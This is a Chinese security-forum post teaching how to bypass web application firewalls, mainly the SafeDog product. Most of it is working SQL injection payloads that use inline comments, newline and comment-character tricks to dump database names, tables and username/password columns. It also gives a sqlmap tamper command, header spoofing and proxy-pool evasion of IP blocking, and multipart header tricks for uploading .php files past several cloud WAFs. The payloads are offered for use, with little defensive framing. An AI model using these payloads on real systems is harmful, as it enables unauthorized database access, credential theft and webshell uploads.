安全矩阵

 找回密码
 立即注册
搜索
查看: 3997|回复: 0

一篇文章教给你Bypass学习基础

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-9-30 19:18:28 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-9-30 19:19 编辑

原文链接:一篇文章教给你Bypass学习基础


一、网站防护分类

1.源码防护:
使用过滤函数对恶意攻击进行过滤,绕过思路:
①大小写替换
②变换提交方式:如get请求变post/cookie请求绕过
③编码绕过:url编码、基于语句重叠、注释符等

2.软件WAF:
通过访问速度、指纹识别等特征进行拦截;常见软件WAF如安全狗、D盾、云锁、云盾等,软件WAF侧重拦截web漏洞。通过访问阈值的大小判断为CC攻击,进行IP封锁;

3.硬件WAF:
主要防御流量和部分web攻击。常见硬件WAF如天融信、深信服等厂商的防火墙。硬件WAF基于TCP三次握手封锁真实IP;

4.云WAF:
阿里云等


二、 WAF拦截方向1.基于IP封锁
①基于HTTP请求头封锁IP
使用burp suite插件fake-ip进行绕过
  1. client-ip:1.1.1.1
  2. x-forward-for:1.1.1.1
复制代码

②基于TCP请求封锁IP

使用IP代理池不断切换真实IP

2.指纹识别-修改扫描工具特有指纹
每个扫描工具都有特定的指纹,这里说的指纹是指http请求头里面的User-Agent。WAF一旦识别到工具的指纹会直接封锁请求IP,所以在进行攻击时需要修改指纹欺骗WAF,不同工具的修改方式不同,具体百度:
DirBuster:


sqlmap:注入时添加–radom-agent参数,也可以使用–User-Agent="xx”参数指定指纹进行注入攻击

3.访问速度和web攻击
waf存在访问阈值,如果单个IP访问速度过快会被waf当作ddos或者cc攻击从而进行拦截。另外基于web层面的攻击也会被拦截,例如:在web页面进入sql注入或者xss的payload会被waf拦截关键字,进行文件上传时会检测上传文件后缀和文件内容等…

4.总结
从IP封锁、访问速度、指纹信息以及web攻击等多个维度进行bypass。


三、目录扫描
1.子域名查找
子域名查询利用第三方接口查询。避免waf拦截
①shodan、fofa
②谷歌语法
③其他接口
  1. http://z.zcjun.com/
  2. https://phpinfo.me/domain/
  3. https://d.chinacycc.com/index.php?m=Login&a=index
复制代码

2.目录扫描
使用代理池:ProxyPool-mater
  1. 项目地址:https://github.com/Python3WebSpider/ProxyPool
复制代码

①本地安装redis,安装教程:
  1. https://www.runoob.com/redis/redis-install.html
复制代码
②运行代理池脚本,抓取代理IP并筛选然后存放到redis库里面:
  1. #开启redis服务
  2. cd ./redis
  3. redis-server redis.windows.conf

  4. #运行脚本ProxyPool-master
  5. cd ./ProxyPool-master
  6. python run.py
复制代码
③运行成功后会在本机开放一个接口从而获取redis库里面的IP,并随机切换:
  1. 接口地址:127.0.0.1:5555/random
复制代码




④然后利用网站目录扫描脚本调用此IP进行目录扫描,脚本实现方式:
  • 加载同级目录字典进行扫描


  • 调用本地接口获取代理IP


  • 运行脚本,成功bypass


ps:sqlmap使用代理池IP:将IP保存在1.txt里面,使用–proxy-file="c:\1.txt"参数进行代理IP切换


四、手工注入1.参数污染
①注释、空字符、内联注释、脏数据、单行注释、换行符等污染

  1. access+asp空格:  %0a %0d %09 %20 +
复制代码
②长度污染:waf拦截长度有一定的限制,一般用与post提交的时候,使用垃圾字符提交内容导致内存溢出:
  1. %%&%%%%%%%%%%%%%%%%%%%%%%%%%%0a
  2. id=1&id=1&id=1&id=1&id=1&id=1&id=1 and 1=1
复制代码

③变换提交方式(服务器支持post、cookie传参)

  • 直接get提交被安全狗拦截:


  • 变换为post提交方式成功bypass:



2.实例:六条语句bypass安全狗
环境:安全狗4.0 IIS版本+mysql 5.4+IIS 7.5
第一种:特殊数字+内敛注释
  1. #在1-55000之间找特殊数字,这个数字表示数据库版本。数据库是4.45.09以上版本该语句才会被执行
  2. id=-1%20union%20/*!44509select*/%201,2,3%23
  3. id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
复制代码



ps:我发现在这个区间只要带44的数字都不拦截,不知道这是不是一枚彩蛋。

  1. #找数字列
  2. showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,2,3,4,5,6,7,8,9,10
  3. #数据库名
  4. showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,database%23%0a(),3,4,5,6,7,8,9,10
复制代码



  1. #表名
  2. showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x7879636d73
复制代码



  1. #字段名
  2. showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6d616e6167655f75736572
复制代码



  1. #字段内容
  2. showproducts.php?id=-13/*!10444union*//*!10444%23*/%0a/*!10444select*/1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user
复制代码



第二种union/%00/%23a%0A/!/!select 1,2,3*/;%23
  1. #字段数
  2. ?id=1/*%00*/%23a%0A/*!/*!order*/+/*%00*/%23a%0A/*!/*!by+3*/--+
复制代码



  1. #数字列
  2. ?id=-1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
复制代码

​​
  1. #数据库
  2. ?id=-1+union/*%00*/%23a%0A/*!/*!select 1,database%23%0a(),3*/;%23
复制代码




  1. #表名
  2. ?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479;%23
复制代码





  1. #字段名
  2. ?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273;%23
复制代码
​​


  1. #字段内容
  2. ?id=-1+union/*%00*/%23a%0A/*!/*!select*/1,group_concat(%23%0a0x7E,username,password),3 from security.users;%23
复制代码

​​
第三种:/**&id=-1%20union%20select%201,2,3%23*/
  1. #字段数:
  2. ?id=1/**&id=1%20order by 3%23*/
复制代码
​​


  1. #数据库名
  2. ?id=1/**&id=-1%20union%20select%201,database(),3%23*/
复制代码




  1. #表名
  2. ?id=1/**&id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23*/
复制代码




  1. #字段名
  2. ?id=1/**&id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273%23*/
复制代码



  1. #字段内容
  2. ?id=1/**&id=-1%20union%20select%201,group_concat(0x7e,username,password),3 from users%23*/
复制代码




  1. #字段数
  2. ?id=1%20order%20%23%0a%20by%203%23
复制代码



  1. #数据库
  2. ?id=-1%20union%20all%23%0a%20select%201,database%23%0a(),3%23
复制代码




  1. #表名
  2. ?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
复制代码




  1. #字段名
  2. ?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273%23
复制代码



  1. #字段内容
  2. ?id=-1%20union%20all%23%0a%20select%201,group_concat(%23%0a0x7e,username,password),3 from users%23
复制代码

​​
第五种:字符型– - 是mysql的注释符 然后加上%0a 换行。安全狗正则匹配order by,union select。并不单纯匹配某一个单词函数-- -a%0a
  1. #字段数
  2. ?id=1 order -- -a%0a by 3%23
复制代码




  1. #数据库
  2. ?id=-1 union-- -a%0a select 1,database-- -a%0a(),3%23
复制代码



  1. #表名
  2. ?id=-1 union-- -a%0a select 1,group_concat(-- -a%0atable_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
复制代码
​​
  1. #字段名
  2. ?id=-1 union-- -a%0a select 1,group_concat(-- -a%0acolumn_name),3 from information_schema.columns where table_name=0x7573657273%23
复制代码



  1. #字段内容
  2. ?id=-1 union-- -a%0a select 1,group_concat(-- -a%0a0x7e,username,password),3 from users%23
复制代码




第六种:贴图太累了,放弃
  1. #数据库
  2. ?id=\Nunion/*!14444select*/1,database(%23%0a),3
复制代码

3. tamper编写
可以对已经存在的tamper加上上面的payload进行魔改,例如:在tamper versionedmorekeywords.py里面进行替换:

替换完成后使用该tamper就可以过狗了:
  1. sqlmap -u "http://192.168.198.129:86/Less-2/?id=1" --tamper=safedog.py --ramdom-agent --delay=0.5
复制代码

文件上传

环境同上。
①截断


②去掉引号


③引号

引号2

引号3


④filename

filename2


⑤换行

换行2



上传绕过思路
1.对文件的内容,数据。数据包进行处理。

  1. Content-Disposition: form-data; name="file"; filename="ian.php"
  2. # 将form-data;修改为~form-data,即:
  3. Content-Disposition: ~form-data; name="file"; filename="ian.php"
复制代码
2.通过替换大小写来进行绕过
  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. Content-Type: application/octet-stream
  3. #将Content-Disposition修改为content-Disposition
  4. Content-Disposition: form-data; name="file"; filename="yjh.php"
  5. #将form-data修改为Form-data
  6. Content-Disposition: Form-data; name="file"; filename="yjh.php"
  7. #将Content-Type修改为content-Type
  8. content-Type: application/octet-stream
复制代码
3.通过删减空格来进行绕过
  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. Content-Type: application/octet-stream
  3. 将Content-Disposition: form-data //冒号后面 增加或减少一个空格
  4. 将form-data; name="file";   //分号后面 增加或减少一个空格
  5. 将Content-Type: application/octet-stream //冒号后面 增加一个空格
复制代码
4.通过字符串拼接绕过
  1. 看Content-Disposition: form-data; name="file"; filename="yjh3.php"
  2. 将 form-data 修改为   f+orm-data
  3. 将 from-data 修改为   form-d+ata
复制代码

5.双文件上传绕过
  1. <form action="https://www.xxx.com/xxx.asp(php)" method="post"
  2. name="form1" enctype="multipart/form‐data">
  3. <input name="FileName1" type="FILE" class="tx1" size="40">
  4. <input name="FileName2" type="FILE" class="tx1" size="40">
  5. <input type="submit" name="Submit" value="上传">
  6. </form>
复制代码
6.HTTP header 属性值绕过
  1. Content-Disposition: form-data; name="file"; filename="yjh.php"
  2. //通过替换form-data 为*来绕过
  3. Content-Disposition: *; name="file"; filename="yjh.php"
复制代码
7.HTTP header 属性名称绕过
  1. 源代码:
  2. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
  3. 绕过内容如下:
  4. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
  5. C.php"
  6. 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
复制代码
8.等效替换绕过

  1. 原内容:
  2. Content-Type: multipart/form-data; boundary=---------------------------471463142114
  3. 修改后:
  4. Content-Type: multipart/form-data; boundary =---------------------------471463142114
  5. boundary后面加入空格。
复制代码
9.修改编码绕过
  1. 使用UTF-16、Unicode、双URL编码等等
复制代码
10.百度云上传绕过
  1. Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
  2. 或者:
  3. filename='1.php(回车)'
复制代码
11.阿里云上传绕过
  1. 源代码:
  2. Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
  3. 修改如下:
  4. Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
  5. 将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
复制代码


12.360主机上传绕过源代码:
  1. Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
  2. 绕过内容如下:
  3. Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
  4. Content-Disposition 修改为 Content-空格Disposition
复制代码



13.===绕过

  1. Content- Disposition: form-data; name="upload"; filename==="1.php"
复制代码
14.云锁上传绕过
  1. Content- Disposition: form-data; name="up_picture"; filename==="123.
  2. 11.php"
复制代码









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 10:56 , Processed in 0.032524 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表